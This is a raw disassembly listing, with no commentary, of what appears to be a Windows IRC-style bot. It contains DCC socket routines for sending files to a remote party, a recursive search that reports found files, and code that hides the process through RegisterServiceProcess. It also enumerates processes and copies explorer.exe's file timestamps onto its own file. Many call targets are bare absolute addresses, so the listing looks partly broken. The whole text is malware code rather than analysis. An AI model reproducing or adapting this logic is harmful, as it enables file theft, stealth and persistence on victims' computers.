var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C400
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014D3
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40C94E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_443600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40200E
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
call near ptr 71AB3B91h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C4CC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
nop
call sub_5EE1E5
add esp, 8
jmp loc_40C8F5
; ---------------------------------------------------------------------------
loc_40C4CC: ; CODE XREF: sub_40C400+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C51A
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C5C0
; ---------------------------------------------------------------------------
loc_40C51A: ; CODE XREF: sub_40C400+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014D3
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C573: ; CODE XREF: sub_40C400+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C585
mov eax, 5Fh
jmp short loc_40C588
; ---------------------------------------------------------------------------
loc_40C585: ; CODE XREF: sub_40C400+17Cj
movsx eax, al
loc_40C588: ; CODE XREF: sub_40C400+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C573
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C5DD
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C5C0: ; CODE XREF: sub_40C400+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C5DD: ; CODE XREF: sub_40C400+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017E4
push eax
call near ptr 2880000h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C644
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5EE1E5
add esp, 8
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C644: ; CODE XREF: sub_40C400+201j
push 0
push esi
nop
call near ptr 2870BEAh
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_401424
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D60CD
push eax
call sub_401DF7
add esp, 4
push eax
nop
call near ptr 71AB2BF4h
push eax
call near ptr 71AB2BC0h
nop
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017E4
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_443A30
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_401681
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C73D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C73D: ; CODE XREF: sub_40C400+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C78D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C78D: ; CODE XREF: sub_40C400+360j
push edi
nop
call near ptr 71AB9639h
test ebx, ebx
jz loc_40C845
loc_40C79C: ; CODE XREF: sub_40C400+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C7A7
mov ebp, ebx
loc_40C7A7: ; CODE XREF: sub_40C400+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 2870000h
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2860414h
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C90E
cmp edi, 1
jl loc_40C90E
sub ebx, edi
jnz loc_40C79C
mov ebp, [esp+0ABCh+arg_0]
loc_40C845: ; CODE XREF: sub_40C400+396j
push esi
nop
call near ptr 2860000h
lea ecx, [esp+0AB8h+var_A38]
call sub_401424
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014D3
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014D3
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C8DA: ; CODE XREF: sub_40C400+338j
; sub_40C400+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C8EF: ; CODE XREF: sub_40C400+1D8j
; sub_40C400+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C8FC
loc_40C8F5: ; CODE XREF: sub_40C400+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C8FC: ; CODE XREF: sub_40C400+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
call near ptr 2850431h
nop
loc_40C90E: ; CODE XREF: sub_40C400+427j
; sub_40C400+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
call near ptr 71AB9639h
nop
push 1
call near ptr 2850431h
nop
loc_40C94E: ; CODE XREF: sub_40C400+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C400 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CAD0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_401424
mov eax, esi
pop esi
retn
sub_40CAD0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CAF0: ; CODE XREF: ___:loc_401AFFj
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CB10 proc near ; CODE XREF: sub_402045j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CB10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_40CB10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401BA4j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CBB0
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014D3
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CDAE
push ebx
lea ecx, [esp+284h+var_260]
call sub_40198D
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40200E
push 1
push offset asc_443600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+288h+var_247]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_443600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017E4
push eax
lea ecx, [esp+288h+var_232]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E2E
push offset asc_443B04 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CD2B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E2E
push offset dword_446F74
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CD2B: ; CODE XREF: sub_40CBB0+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014D3
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014D3
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_401681
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_402257
add esp, 18h
lea edx, [esp+284h+var_20C]
push eax
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call sub_5EE1E5
mov eax, [esp+28Ch+var_211]
add esp, 0Ch
cmp eax, ebx
jnz short loc_40CD99
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_401681
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_401523
add esp, 10h
loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j
mov eax, [esp+280h+var_219]
push eax
call sub_401E24
add esp, 4
push ebx
call near ptr 2850431h
nop
pop ebx
loc_40CDAE: ; CODE XREF: sub_40CBB0+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CE60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CEE0: ; CODE XREF: ___:loc_40226Bj
push 0FFFFFFFFh
push offset loc_438D86
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF60 proc near ; CODE XREF: sub_402257j
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_50FAD8
push esi
push offset aS_2 ; "%s\\*"
push 104h
push eax
call edi ; _snprintf
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 28A0000h
nop
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D027
loc_40CFB0: ; CODE XREF: sub_40CF60+C5j
test [esp+558h+var_548], 10h
jz short loc_40D017
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40CFCA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D017
cmp al, 2Eh
jz short loc_40D017
loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_443684
push 104h
push ecx
call edi ; _snprintf
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_402257
add esp, 2Ch
mov ebp, eax
loc_40D017: ; CODE XREF: sub_40CF60+55j
; sub_40CF60+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
call near ptr 2890000h
nop
test eax, eax
jnz short loc_40CFB0
loc_40D027: ; CODE XREF: sub_40CF60+4Ej
push ebx
call near ptr 2880273h
nop
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_443684
push 104h
push eax
call edi ; _snprintf
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 28A0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D0BB
loc_40D068: ; CODE XREF: sub_40CF60+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; _snprintf
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_401523
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2890000h
test eax, eax
jnz short loc_40D068
loc_40D0BB: ; CODE XREF: sub_40CF60+106j
push ebx
call near ptr 2880273h
nop
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40CF60 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D130 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D130
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_40D130 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D2E0: ; CODE XREF: ___:004013CAj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
nop
call near ptr 28A1C3Ah
push eax
call near ptr 28A1050h
nop
mov eax, dword_4470B0
test eax, eax
jz loc_40D403
mov ecx, dword_4470AC
test ecx, ecx
jz loc_40D403
mov ecx, dword_446F78
test ecx, ecx
jz loc_40D403
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_4470A8, eax
jz loc_40D403
push ebp
push offset dword_446F80
push eax
xor ebp, ebp
mov dword_446F80, 128h
call dword_4470AC ; Process32First
test eax, eax
jz loc_40D3EC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_50FAD4
push edi
loc_40D36D: ; CODE XREF: ___:0040D3E7j
mov edi, offset dword_446FA4
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_446FA4
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_446FA4
add edx, ecx
push edx
call esi ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_40D3D3
mov edi, offset dword_446FA4
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_446FA4
mov ecx, ebx
call sub_401681
push eax
call esi ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40D3D4
loc_40D3D3: ; CODE XREF: ___:0040D3ABj
inc ebp
loc_40D3D4: ; CODE XREF: ___:0040D3D1j
mov eax, dword_4470A8
push offset dword_446F80
push eax
call dword_446F78 ; Process32Next
test eax, eax
jnz short loc_40D36D
pop edi
pop esi
pop ebx
loc_40D3EC: ; CODE XREF: ___:0040D357j
mov ecx, dword_4470A8
push ecx
nop
call near ptr 2860000h
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D403: ; CODE XREF: ___:0040D306j
; ___:0040D314j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D460: ; CODE XREF: ___:00401F91j
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
call near ptr 28B0CF3h
nop
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_50F8E8
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
nop
call near ptr 28B0734h
mov ebx, dword_50F8D8
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 28B0000h
push esi
call ebx
loc_40D526: ; CODE XREF: ___:0040D4C9j
; ___:0040D50Bj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D580 proc near ; CODE XREF: sub_401B59j
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_401424
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27F0A13h
lea ecx, [esp+1A8h+var_16C]
call sub_4017E4
push eax
lea ecx, [esi+4]
call sub_4015D7
lea ecx, [esp+1A8h+var_184]
call sub_401424
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C5D
push eax
push 0
call near ptr 28A1C3Ah
nop
push eax
nop
call near ptr 28A1050h
push offset aKernel32_dll_0 ; "kernel32.dll"
call near ptr 27E0865h
nop
mov esi, eax
test esi, esi
jz short loc_40D671
mov edi, dword_50F8A0
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_4470B4, eax
call edi
push offset aProcess32first ; "Process32First"
push esi
mov dword_4470B0, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_4470AC, eax
call edi
mov dword_446F78, eax
mov eax, dword_4470B4
test eax, eax
jz short loc_40D671
push ebx
push 0
call eax
loc_40D671: ; CODE XREF: sub_40D580+A7j
; sub_40D580+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402117
test eax, eax
jnz short loc_40D6A8
mov al, byte_44719F
test al, al
jz short loc_40D6A8
mov ecx, esi
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
loc_40D6A8: ; CODE XREF: sub_40D580+10Dj
; sub_40D580+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019B5
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017E4
push eax
call sub_4015FA
sub_40D580 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017E4
push eax
call sub_4015FA
